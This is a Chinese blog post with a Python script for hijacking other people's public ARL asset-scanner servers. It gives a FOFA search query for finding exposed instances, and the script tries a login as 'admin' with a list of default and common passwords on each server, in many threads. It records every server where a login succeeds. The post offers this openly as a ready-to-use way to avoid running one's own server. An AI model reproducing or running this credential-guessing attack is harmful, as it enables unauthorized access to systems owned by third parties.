首页 > 其他分享 >在任何系统下使用公网ARL灯塔(免搭建)

在任何系统下使用公网ARL灯塔(免搭建)

时间:2024-07-14 15:41:34浏览次数:9  
标签:username url self passwd file 公网 灯塔 ARL response

你是否还因没vps上的ARL灯塔而烦恼?
那就试试这个脚本
fofa:
title='资产灯塔系统'

'''
抓ARL灯塔
'''
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import threading
result=[]
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class Bag:
    def __init__(self, url, username, passwd):
        self.username = username
        self.passwd = passwd
        self.url = f"{url}/api/user/login"
        self.headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
            "Accept": "application/json, text/plain, */*",
            "Accept-Language": "zh-CN,en-US;q=0.7,en;q=0.3",
            "Accept-Encoding": "gzip, deflate, br",
            "Content-Type": "application/json; charset=UTF-8",
            "Origin": "https://192.168.0.103:5003",
            "Sec-Fetch-Dest": "empty",
            "Sec-Fetch-Mode": "cors",
            "Sec-Fetch-Site": "same-origin",
            "Te": "trailers",
        }
        self.data = {
            "username": f"{username}",
            "password": f"{passwd}",
        }

    def send_bag(self):
        try:
            response = requests.post(self.url, json=self.data, headers=self.headers, verify=False)
            if response.text.find('{"message": "success", "code": 200,') != -1:
                return ['right', self.url, self.username, self.passwd]
        except:
            pass

def read_urls_from_file(urls_file_path):
    with open(urls_file_path, 'r') as file:
        for line in file.readlines():
            if line.strip():
                yield line.strip()

def test_url(url, passwds):
    a=0
    for passwd in passwds:
        response = Bag(url=url, passwd=passwd, username=username).send_bag()
        if response is not None:
            result.append(response)
            print('\n',response , '<-----------------------------------------------------------------')
            a=1
            break
    if a!=1:
        print('failed'+f'{url}'+'\r',end='')

if __name__ == "__main__":
    username = 'admin'
    passwds = ['admin123', 'honmashironeko', 'admin', 'arlpass', '114514', 'passwd123', 'password123', 'root']
    urls_file_path = '/root/weapons/XIN-SHOU/fofaHack.ARL-wudanshiturls.txt'

    threads = []
    for url in read_urls_from_file(urls_file_path):
        print(f'testing {url}'+'\r',end='')
        thread = threading.Thread(target=test_url, args=(url, passwds))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()
print(result)

即兴编写,能达到目的,代码还需完善

标签:username,url,self,passwd,file,公网,灯塔,ARL,response
From: https://www.cnblogs.com/sesmof/p/18301633

相关文章

  • 解锁:掌握:公网共享文件夹的关键技巧
    #前言#信息的快速共享和高效协作成为了各行各业发展的关键。公网共享文件夹作为一种便捷的信息共享方式,在教育培训、企业工作等领域发挥着重要作用。然而,要充分发挥公网共享文件夹的优势,掌握关键技巧至关重要。在这一过程中,江苏神卓旗下的一款创新产品为我们提供了卓越的解决......
  • Linux系统部署MongoDB开源文档型数据库并实现无公网IP远程访问
    个人名片......
  • 抓包工具--Charles使用笔记
    抓取APP接口的请求,查看请求和响应数据,可确定问题出现在前端还是后端;Charles下载个人笔记1、快速获取对应地址快速获取代理地址,可以按照下图方式去获取,电脑上如果有安装虚拟机IP地址会不同;需要快速定位到自己设备的IP地址时,可以直接查看,不用输入命令去查找;当然,iPhone设备......
  • 强化学习(Monte Carlo learning)-Today6
    MonteCarlolearning简称MC,是model-free算法,也就是不基于模型的算法,Today5发布的valueiterationandPolicyiterationalgorithm是model-based算法,是基于模型的算法,也就是说,没有模型的构建,需要数据的支撑,MC包括三个算法,分别是MCBasic、MCExploringStarts和这三个算法,......
  • charles使用教程
    安装与配置下载链接:https://www.charlesproxy.com/download/进行移动端抓包:电脑端配置:关闭防火墙Proxy–>勾选macOSProxyProxy–>ProxySetting–>填入代理端口8888–>勾选Enabletransparenthttpproxying安装charles证书:Help–>SSLProxying–>InstallCharles......
  • 从零开始使用WordPress搭建个人网站并一键发布公网详细教程
    文章目录前言1.搭建网站:安装WordPress2.搭建网站:创建WordPress数据库3.搭建网站:安装相对URL插件4.搭建网站:内网穿透发布网站4.1命令行方式:4.2.配置wordpress公网地址5.固定WordPress公网地址5.1.固定地址访问WordPress前言本文主要介绍如何在LinuxUbuntu......
  • Windows系统安装SSH服务结合内网穿透配置公网地址远程ssh连接
    前言在当今的数字化转型时代,远程连接和管理计算机已成为日常工作中不可或缺的一部分。对于Windows用户而言,SSH(SecureShell)协议提供了一种安全、高效的远程访问和命令执行方式。SSH不仅提供了加密的通信通道,防止敏感信息在传输过程中被窃听或篡改,还支持文件传输、端口转......
  • 什么是全网搜寻“冷门股”的灯塔?市盈率!?
    在《自下而上的选股与自上而下的选股》中,我认为从抄底1939年美国股市的案例来看,邓普顿的选股方法更偏向于“自上而下”。但《逆向投资 邓普顿的长赢投资法》的作者却并不这么认为。她认为,邓普顿“说某个国家之所以是好的投资对象”,不是因为了解了该国的GDP、就业前景等宏观因......
  • 使用Charles实现Android抓包,附带Charles破解教程
    1.下载Charles网址:下载Charles安装完成后的界面:2.配置http抓包点击该选项可以看到代理的ip和端口号然后在手机的wifi中配置代理(手机和电脑要在同一局域网),代理选择手动,并填入ip和端口号电脑出现允许代理的提示,点击Allow即可到此处表示已经可以抓http的手机包......
  • charles使用
    一.charles简介Charles是一个HTTP代理服务器,HTTP监视器,当浏览器连接Charles的代理访问互联网时,Charles可以监控浏览器发送和接收的所有数据。它允许一个开发者查看所有连接互联网的HTTP通信,这些包括request,response和HTTPheaders(包含cookies与caching信息)二.charles下载安......